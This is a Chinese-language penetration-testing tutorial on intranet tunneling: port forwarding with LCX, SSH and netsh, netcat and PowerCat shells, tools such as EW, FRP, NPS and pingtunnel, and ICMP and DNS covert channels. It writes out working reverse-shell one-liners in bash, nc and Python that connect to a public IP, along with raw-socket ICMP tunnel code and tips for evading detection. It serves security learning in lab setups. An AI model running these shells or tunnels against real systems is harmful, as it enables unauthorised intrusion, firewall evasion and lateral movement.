0x00 前言
内网隧道代理是内网渗透的重要一环
在进行渗透测试时,常常需要通过边界主机进入内网,然后利用该主机作为跳板进行横向渗透。然而,内网环境通常非常复杂,且部署了大量的安全设备。在没有足够的了解和权限的情况下,访问许多系统会受到各种限制和阻碍。因此,使用代理来突破这些限制变得至关重要。在不同的网络环境下,选择和使用适当的代理工具非常关键,隧道技术包含很多种类,有TCP隧道,HTTP隧道,DNS隧道,SOCKS隧道,ICMP隧道等,还会有很多概念比如端口转发,端口映射,多级代理等
这一篇主要写一些基础隧道代理用法,后面补其他隧道代理方法,然后再写高级方法
0x01 LCX端口转发
环境:

机器名称 机器IP
攻击者VPS 8.134.70.73
内网攻击者机器 192.168.0.2
内网靶机 192.168.99.134
实现目标
- Web服务器:内网机器,开放80端口,但3389端口(RDP)被防火墙禁止出站。
- VPS:具有公网IP的服务器,开放端口(如53、1111),用于流量中转。
- 攻击者:通过连接VPS的1111端口,间接访问Web服务器的3389端口。
首先,在我们本地机器上监听53端口
方便一点直接在阿里云监听本地53端口并且转发到本地1111端口
./portmap -m 2 -p1 53 -p2 1111

在内网靶机
lcx -slave 8.134.70.73 53 127.0.0.1 3389


阿里云那里可以看见监听成功
尝试连接


0x02 SSH端口转发

场景拓扑
- 攻击者:位于公网,无法直连内网机器B/C
- 机器B:已被攻陷的内网主机,可访问机器C(如SSH可达)
- 机器C:目标内网机器,运行SSH服务(端口22)
原理:通过SSH建立反向隧道,将Web服务器的3389端口绑定到VPS的1111端口。
SSH转发常用的参数介绍:
-C 请求压缩所有数据
-D 动态转发、即socks代理
-f 后台执行SSH指令
-g 允许远程主机连接主机的转发端口
-L 本地转发
-N 不执行远程指令,处于等待状态
-R 远程转发
机器名称 机器IP
攻击者VPS 192.168.99.137 Ubuntu
内网攻击者机器 192.168.0.2 win11
内网靶机 192.168.99.134 win7
流程还是比较简单的 就是将Web服务器的3389端口绑定到VPS的1111端口
ssh -CfNg -L 本地端口:主机B_IP:主机B_端口 跳板主机A_IP
ssh -CfNg -L 1111:192.168.99.134:3389 192.168.99.137
后面同上

类似的,ssh还有反向转发

ssh -CfNg -R 攻击者端口:目标主机IP:目标主机端口 -fN 攻击者_IP
还有SSH动态转发
动态转发类似SOCKS代理,不仅仅是针对么某一个端口进行转发,这个我们讲到代理在说
0x03 NETSH端口转发
netsh是windows系统自带命令行程序,攻击者无需上传第三方工具即可利用netsh程序可进行端口转发操作,可将内网中其他服务器的端口转发至本地访问 运行这个工具需要管理员的权限

现在有如下的网络,电脑A是攻击机器,可以直接访问电脑B,但是访问不了机器C,可以借助B机器上的
netsh命令进行端口转发访问机器C,这里注意只能访问端口

机器名称 机器IP
机器A 192.168.0.2 win11
机器B 192.168.99.134 win7
机器C 8.134.70.73 阿里云(centos)
在B上执行如下的命令(只有管理员才能执行哦)
netsh interface portproxy add v4tov4 listenaddress=192.168.99.134
listenport=9999 connectport=22 connectaddress=8.134.70.73
查看是否开启转发
netsh interface portproxy show v4tov4

在攻击机器A上运行连接靶机C的端口
ssh root@192.168.99.134 -p 9999


删除转发如下
netsh interface portproxy delete v4tov4 listenaddress=8.134.70.73 listenport=9999

0x04 Netcat反弹Shell
Netcat简称NC,是一个简单、可靠的网络工具,被誉为网络界的瑞士军刀。通NC可以进行端口扫描、 反弹Shell、端口监听和文件传输等操作,常用参数如下:


机器名称 机器IP
攻击机A 192.168.0.2 win11
靶机B 8.134.70.73 阿里云(centos)
攻击者机器 和靶机可以相互的访问,这个时候可以使用正向shell
在靶机上运行:
nc -lvvp 1111 -e C:\Windows\System32\cmd.exe ###windows机器
nc -lvvp 1111 -e /bin/bash ####linux机器
在攻击机上运行
nc 8.134.70.73 1111

反向反弹Shell
上面图片箭头相反
攻击者机器(阿里云)不能直接访问靶机(win11),但是靶机可以访问攻击者的机器, 这个时候使用反向shell
机器名称 机器IP
攻击机A 8.134.70.73 阿里云(centos)
靶机B 192.168.0.2 win11
在攻击者机器运行
nc -lvvp 1111 监听1111端口
在靶机上运行 (反弹到公网)
nc -e C:\Windows\System32\cmd.exe 8.134.70.73 1111 windos机器
nc -e /bin/bash 8.134.70.73 1111 linux机器


也是拿到shell,虽然有点乱码,但是可以通过其他方式更改,这里不演示
Nc的其他用法
Banner 的抓取
靶机运行着ssh服务,可以查看服务的版本
nc -nv IP Port
端口探测
可以查看端口的开放情况
nc -v IP Port
多端口扫描:
nc -v -z IP Port[1]-Port[65535]
监听端口,当访问该端口会输出该信息
nc -l -p Port
文件传输
接受端:nc -lp Port > file
发送端:nc -vn IP Port < file -q 1 (windows是-z,Linux是-q)
简易聊天
1、vps执行 nc -l -p Port
2、靶机执行:nc -vn IPPort
连接远程主机
命令 nc -nvv IP port
还有其他的可以自己查
0x05 PowerCat反弹Shell
PowerCat介绍
PowerCat是一个powershell写的tcp/ip瑞士军刀,可以看成ncat的powershell的实现,然后里面也 加入了众多好用的功能,如文件上传,smb协议支持,中继模式,生成payload,端口扫描等等
1、下载地址
https://github.com/besimorhino/powercat
2、下载下来导入
Import-Module .\powercat.ps1
3、如果提示未能加载指定模块,则可能是权限问题,输入如下代码
Set-ExecutionPolicy Unrestricted
4、输入如下命令可以查看帮助信息
powercat -h
5、如下就是安装成功

PowerCat命令-l监听连接 -c连接到侦听器 -p要连接或监听的端口 -e执行 -ep执行Powershell -r中继。格式:“-r tcp:10.1.1.1:443” -u通过UDP传输数据 -dns通过dns传输数据 -dnsft DNS故障阈值 -t超时选项。默认值:60 -I输入:文件路径(字符串),字节数组或字符串 -o控制台输出类型:“主机”,“字节”或“字符串” -of输出文件路径 -d连接后断开连接 -rep中继器。断开连接后重新启动 -g生成有效载荷 -ge生成编码的有效载荷 -h打印帮助消息
PowerCat命令
-l监听连接
-c连接到侦听器
-p要连接或监听的端口
-e执行
-ep执行Powershell
-r中继 格式:“-r tcp:10.1.1.1:443”
-u通过UDP传输数据
-dns通过dns传输数据
-dnsft DNS故障阈值
-t超时选项。默认值:60
-I输入:文件路径(字符串),字节数组或字符串
-o控制台输出类型:“主机”,“字节”或“字符串”
-of输出文件路径 -d连接后断开连接 -rep中继器。断开连接后重新启动
-g生成有效载荷
-ge生成编码的有效载荷
-h打印帮助消息
机器名称 机器IP
攻击机A 192.168.0.2 win11
靶机B 192.168.99.134 win7
PowerCat和nc正向连接
靶机使用powercat执行以下命令
powercat -l -p 8080 -e cmd.exe -v

2、攻击机使用nc执行以下命令
nc 192.168.99.134 8080 -vv


PowerCat和PowerCat反向连接
1、靶机使用powercat执行以下命令
powercat -c 192.168.3.6 -p 9999 -v -ep
2、攻击机使用powercat执行以下命令
powercat -l -p 9999 -v

PowerCat文件传输
1、靶机使用powercat执行以下命令
powercat -l -p 9999 -of test.txt -v
2、攻击机使用powercat执行以下命令
powercat -c 192.168.3.10 -p 9999 -i D:test.txt -v
///
用powercat生成payload
1、攻击机使用powercat执行以下命令生成payloadpayload
powercat -l -p 8000 -e cmd -v -g >> shell.ps1
2、攻击机使用powercat执行以下命令连接
powercat -c 192.168.3.10 -p 8000 -v
3、在靶机上运行脚本
.\shell.ps1
0x06 Bash反弹shell
Bash介绍
Shell也称为终端或壳,是人与内核之间的翻译官,而Bash则是Linux中默认使用的Shell
Bash 反弹Shell的命令如下:
bash -i >&/dev/tcp/攻击机_IP/攻击机端口 0>&1
bash -i >&/dev/tcp/攻击机_IP/攻击机端口 0>&2
bash -i >&/dev/udp/攻击机_IP/攻击机端口 0>&1
bash -i >&/dev/udp/攻击机_IP/攻击机端口 0>&2
"bash-i"是指打开一个交互式的Shell。 "&"符号用于区分文件和文件描述符,">&"符号后面跟文件时,表示将标准输出和标准错误输出重 定向至文件,">&"符号后面跟数字时表示后面的数字是文件描述符,不加"&"符号则会把后面的数 字当成文件。数字"0","1","2"是LinuxShell下的文件描述符, “0”是指标准输入重定向, “1”是 指标准输出重定向, “2”是指错误输出重定向。
"/dev"目录下"tcp"和"udp"是Linux中的特殊设备,可用于建立Socket连接,读写这俩文件就相当 于是在Socket连接中传输数据。">&/dev/tcp/攻击机_ip/攻击机端口"则表示将标准输出和标准错误 输出重定向到"/dev/tcp/攻击机ip/攻击机端口"文件中,也就是重定向到了攻击机,这时目标机的命 令执行结果可以从攻击机看到。"0>&1"或"0>&2"又将标准输入重定向到了标准输出,而标准输出 重定向到了攻击机,因此标准输入也就重定向到了攻击机,从而可以通过攻击机输入命令,并且可以 看到命令执行结果输出
机器名称 机器IP
攻击机A 8.134.70.73 阿里云(centos)
靶机B 192.168.99.137 Ubuntu
1、攻击机器使用nc执行监听命令
nc -lvvp 9999 监听 TCP
nc -lup 9999 监听UDP
2、实验靶机执行连接命令
bash -i >&/dev/tcp/8.134.70.73/9999 0>&1

0x07 Python 反弹Shell
Python 反弹Shell
Python反弹Shell介绍
python 2
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻击机器IP",端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
机器名称 机器IP
攻击机A 8.134.70.73 阿里云(centos)
靶机B 192.168.99.137 Ubuntu
1、攻击机器使用nc执行监听命令
nc -lvvp 1111 监听 TCP
2、实验靶机执行连接命令
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("8.134.70.73",1111));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

0x08 内网代理介绍
内网资产扫描这种场景一般是进行内网渗透才需要的代理技术,如果你不打内网一般是不需要这种技术 的,内网代理技术一般也是采用http或者socks代理
1、直接使用web服务进行扫描
2、做代理让web服务成为代理机器 针对于内网的机器要考虑是用代理隧道还是使用端口转发 在这种情况需要用什么工具走代理呢?
1、扫描工具
2、浏览器
3、burp
使用代理一般是用http代理或者socks代理代理
linux工具下一般使用命令行工具proxychains
如果是windows是proxyifile工具
0x09 应用层代理-EW
Earthworm简称EW 是一套便携式的网络穿透工具,具有 SOCKS v5服务架设和端口转发两大核心功 能,可在复杂网络环境下完成网络穿透 该工具已经停止维护和下载:http://rootkiter.com/EarthWorm/
该工具支持端口转发,正向代理,反向代理,多级代理等方式,可以打通一条网络隧道,直达网络深 处,用蚯蚓独有的手段突破网络限制
EW一级代理(正向)

机器名称 机器IP
攻击机A 192.168.0.2 win11
靶机B 8.134.70.73 阿里云(centos)
首先阿里云启动服务
ew -s ssocksd -l 1080
win配置代理


通过访问ip,可以看见解析为阿里云IP地址

EW一级代理(反向)
适用于目标没有公网IP情况


(二级代理)正向连接
1、web服务器在公网黑客可以访问
2、B机器在内网黑客不能访问
3、web服务器只能访问B机器
4、B机器可以访问内网机器 这种昂情况使用二级正向代理


注意,B是IP
(二级代理)反向连接

1、web服务器在内网可以访问VPS
2、内网机器B在内网不能访问VPS可以访问web服务

0x010 FRP代理
FRP (Fast Reverse Proxy) 是一个使用 Go 语言开发的高性能的反向代理应用,可以轻松地进行内网穿 透,对外网提供服务。FRP 支持 TCP、UDP、HTTP、HTTPS等协议类型,他支持点对点的转发,还有 全流量转发,FRP最大的一个特点是使用SOCKS代理,而SOCKS是加密通信的,类似于做了一个加密的 隧道,可以把外网的流量,通过加密隧道穿透到内网。效果有些类似于VPN。
下载地址:https://github.com/fatedier/frp/releases
FRP分为两个文件
将 frps 及 frps.toml 放到具有公网 IP 的机器上。 将 frpc 及 frpc.toml 放到处于内网环境的机器上。




机器名称 机器IP
攻击机A 192.168.0.2 win11
靶机B 8.134.70.73 阿里云(centos)
小提示:arch查看适合什么版本的

以阿里云(当作web服务器)开启服务

在win11连接

frp p2p 点对点转发

将3389转发到VPS的6000端口
机器名称 机器IP
攻击机A 192.168.0.2 win11
VPS 8.134.70.73 阿里云(centos)
内网机器OA 192.168.99.135 win10
目标:内网机器的3389
VPS搭建服务端

win10搭建客户端实现端口转发



连接显示成功


利用这内网穿透特性,可以将某些服务映射公网(如 公司内网ssh穿透到公网,实现远程连接等待)
frp搭建socks隧道和多级隧道
改配置文件,比较简单

多级隧道是一个socks代理加一个P2P端口转发
内网机器1(最深) -->(socks)-->内网机器2--->(P2P)--->VPS--->黑客机器
0x11 NPS代理
nps是一款轻量级、高性能、功能强大的内网穿透代理服务器。目前支持tcp、udp流量转发,可支持任 何tcp、udp上层协议(访问内网网站、本地支付接口调试、ssh访问、远程桌面,内网dns解析等 等……),此外还支持内网http代理、内网socks5代理、p2p等,并带有功能强大的web管理端
并且,NPS是很多公司使用内网穿透的一种方式,比如说将公司重要系统(资金,用户信息之类的)会放在公司机房,而不是阿里云之类的,但是如果想通过外网访问,可以通过NPS内网穿透映射到公网
相比于frp.感觉还是NPS更加好用
使用方法,在公网启动服务端

进入web管理界面
xxx.xxx.xxx.xxx:8080

先进行添加客户端

在目标主机运行客户端命令


VPS--> win11-->TCP-->win10(内网)
也可以选择socks之类的


了解更多可以看
使用手册:https://ehang-io.github.io/nps/#/
0x12 上线不出网机器

情况分类
上线不出网机器一般是指B区域的电脑上线到CS工具或者MSF上,因为B机器不出网无法和VPS进行通信
针对B区域不出网的机器一般是2中情况
1、纯内网环境,任何端口都不出网
2、只有特定的端口可以出网
针对A区域出网的机器也有如下的情况(中转机器或者是跳板机)
1、A区域的机器可以出网
2、A区域只有特定的端口可以出网
后续要用到端口复用技术和代理技术
笔记:在内网渗透中,找到跳板机是重要关键
特征:多网卡
如何寻找:利用RCP协议未授权的情况下调用oxid接口,从而实现对内网机器的多网卡的探测
或者使用NetBIOS实现探测
后续专门写一篇关于上线不出网机器文章
0x13 ICMP隧道
ICMP(InternetControl MessageProtocol)Internet控制报文协议。它是TCP/IP协议簇的一个子协 议,用于在IP主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可 用等网络本身的消息。这些控制消息虽然并不传输用户数据,但是对于用户数据的传递起着重要的作用

主要概念有:
1.确认ip数据包是否成功到达目的地
2.通知源主机发送ip数据包丢失的原因
3.ICMP是基于IP协议工作的
4.ICMP只能作用于IPV4,IPV6下
类型
3 终点不可达
11 时间超过
12 参数问题
5 改变路由
8或0 回送请求或回答
13或14 时间戳请求或回答
代码
进一步区分某种类型中的几种不同情况。
检验和用于检验整个ICMP报文。但是IP首部检验和并不检验IP数据报的内容,因此不能保证经过传输的ICMP
报文不产生差错。
ICMP 报文的种类有两种,即 ICMP 差错报告报文和 ICMP 询问报文


Windows机器qing的内容是abcd.............hi (默认固定格式)
返回形式报文

Linux系统报文

so 我们可以通过Data封装内容实现ICMP传输数据
由于ICMP报文自身可以携带数据,而且ICMP报文是由系统内核处理的,不占用任何端口,因此具有很 高的隐蔽性。把数据隐藏在ICMP数据包包头的data字段中,建立隐蔽通道。实现绕过防火墙和入侵检 测系统的阻拦。
优点:
1.ICMP隐蔽传输是无连接的,传输不是很稳定,而且隐蔽通道的带宽很低
2.利用隧道传输时,需要接触更低层次的协议,这就需要高级用户权限
3.使用自定义加密方式(异或之类的)
ICMP隧道实验
反弹shell
ICMP做隧道一般有这么几种,一种是反弹shell 的形式
icmpsh使用简单,使用的是python,项目地址:https://github.com/bdamele/icmpsh
该工具安装起来比较复杂,使用的是python2 (装不了一点,10年前的工具了,好多报错QWQ,而且是明文传输数据,不想浪费时间搞这个工具了,意义不打)
也可以自己通过python代码实现(SOCKTE网络编程)
发送端代码(封装数据并发送ICMP请求)
import os
import socket
import struct
import sys
def checksum(data):
"""计算ICMP校验和"""
sum = 0
for i in range(0, len(data), 2):
sum += (data[i] << 8) + (data[i+1] if i+1 < len(data) else 0)
sum = (sum >> 16) + (sum & 0xffff)
sum += sum >> 16
return ~sum & 0xffff
def send_icmp_tunnel(dest_ip, payload):
# 创建原始套接字
sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
# 构造ICMP头
icmp_type = 8 # 8=请求, 0=应答
icmp_code = 0
icmp_id = os.getpid() & 0xffff # 使用进程ID作为标识符
icmp_seq = 1
# 封装数据
header = struct.pack('!BBHHH', icmp_type, icmp_code, 0, icmp_id, icmp_seq)
data = payload.encode()
# 计算校验和
chk = checksum(header + data)
header = struct.pack('!BBHHH', icmp_type, icmp_code, chk, icmp_id, icmp_seq)
# 发送数据包
sock.sendto(header + data, (dest_ip, 1))
print(f"[+] Sent {len(payload)} bytes to {dest_ip}")
if __name__ == "__main__":
if len(sys.argv) != 3:
print("Usage: sudo python3 sender.py <目标IP> <消息>")
sys.exit(1)
dest_ip = sys.argv[1]
payload = sys.argv[2]
send_icmp_tunnel(dest_ip, payload)
接收端代码(监听并提取ICMP数据)
import socket
import struct
def recv_icmp_tunnel():
# 创建原始套接字
sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
while True:
# 接收数据包(包括IP头)
packet, addr = sock.recvfrom(1024)
# 解析IP头(前20字节)
ip_header = packet[:20]
iph = struct.unpack('!BBHHHBBH4s4s', ip_header)
protocol = iph[6]
src_ip = socket.inet_ntoa(iph[8])
if protocol != socket.IPPROTO_ICMP:
continue
# 解析ICMP头(IP头之后)
icmp_header = packet[20:28]
icmph = struct.unpack('!BBHHH', icmp_header)
# 过滤ICMP请求(类型8)
if icmph[0] == 8:
# 提取数据部分(从第28字节开始)
data = packet[28:]
print(f"\n[+] Received from {src_ip}: {data.decode()}")
# 启动监听
recv_icmp_tunnel()
关键注意事项
- 权限要求:需要root权限运行(因使用原始套接字)
- 系统兼容性:代码基于Linux/Unix系统,Windows需使用WinPcap等库
- 防火墙设置:确保允许ICMP流量通过
- 数据封装:示例仅处理ASCII文本,二进制数据需额外处理
- 隐蔽性增强:实际应用中需添加:
- 数据加密(如AES)
- 分片处理(应对MTU限制)
- 随机延时(规避流量分析)
- 法律风险:ICMP隧道可能违反网络安全策略,仅限授权环境使用
完整实现还需处理:序列号管理、错误处理、多线程收发等复杂逻辑。建议参考开源项目(如ptunnel、icmptunnel)获取更完整实现

第二个工具
搭建隧道
ICMP可以用作反弹shell,也可以用作隧道,这里我们使用工具:pingtunnel

中国人写的就是好啊.....
这里在阿里云搭建服务端
win10搭建客户端

开启服务端,在VPS执行
pingtunnel -type server
开启开启转发的命令
pingtunnel.exe -type client -l :9999 -s 8.134.70.73 -t 8.134.70.73:7777
-tcp 1 #将来自和本地9999端口连接的流量,转发给118.178.134.226的7777端口(隧道),然后我们就可以创建一个CS的监听器完成操作(CS上线)
注意:要管理员权限,在实战中用什么方式使用就仁者见仁智者见智


网络环境假设:目标机器仅允许 ICMP 出站,HTTP 流量被严格过滤
流量抓包

提高隐蔽性:设置 HTTP Port (C2) 为常见端口(如 443),模仿 HTTPS 流量在 C2 服务器使用合法域名(如 api.example.com),配置 HTTP Host Header 为该域名....(网上挺多的)
0x14 DNS隧道
域名系统(Domain Name System,缩写:DNS)是互联网的一项服务。它作为将域名和IP地址相互映 射的一个分布式数据库,能够使人更方便地访问互联网。DNS使用TCP和UDP端口53。当前,对于每一 级域名长度的限制是63个字符,域名总长度则不能超过253个字符。DNS协议是用来将域名转换为IP地 址,DNS除了提供主机名到IP地址转换外,还提供如下服务:主机别名、邮件服务器别名、负载分配等

DNS 定义了两种报文 ,一种为查询报文;另一种是对查询报文的响应,称为响应报文。无论是查询报 文还是响应报文
ID:由生成DNS查询的程序指定的16位的标志符。该标志符也被随后的应答报文所用,申请者利用这个标志将
应答和原来的请求对应起来.
flags:标志位,标记查询/应答,查询类型,截断,递归查询等等
type:DNS记录类型,常用的有:
A:A记录,指向别名或IP地址。
NS:解析服务器记录。
MX:邮件交换记录。
CNAME:别名。
AAAA:IPv6地址解析。
txt:为某个主机名或域名设置的说明。
PTR:指针记录,PTR记录是A记录的逆向记录。
SOA:标记一个区的开始,起始授权机构记录
PING一下百度看看一看流量,指向你的网关(我这里是8.8.8.8)

DNS传输方式:通过传输格式可以发现,在头部地方存在严格的字符大小规定,那么,只能通过请求(queries)来传输数据,通过name进行拼接传输如 (Name: xxxxxxx(传输内容如whoami).dns.google)这种方式等...



总结:方法是多样的,适合自己的是最好的,还是得多练
声明:仅供学习参考
Comments NOTHING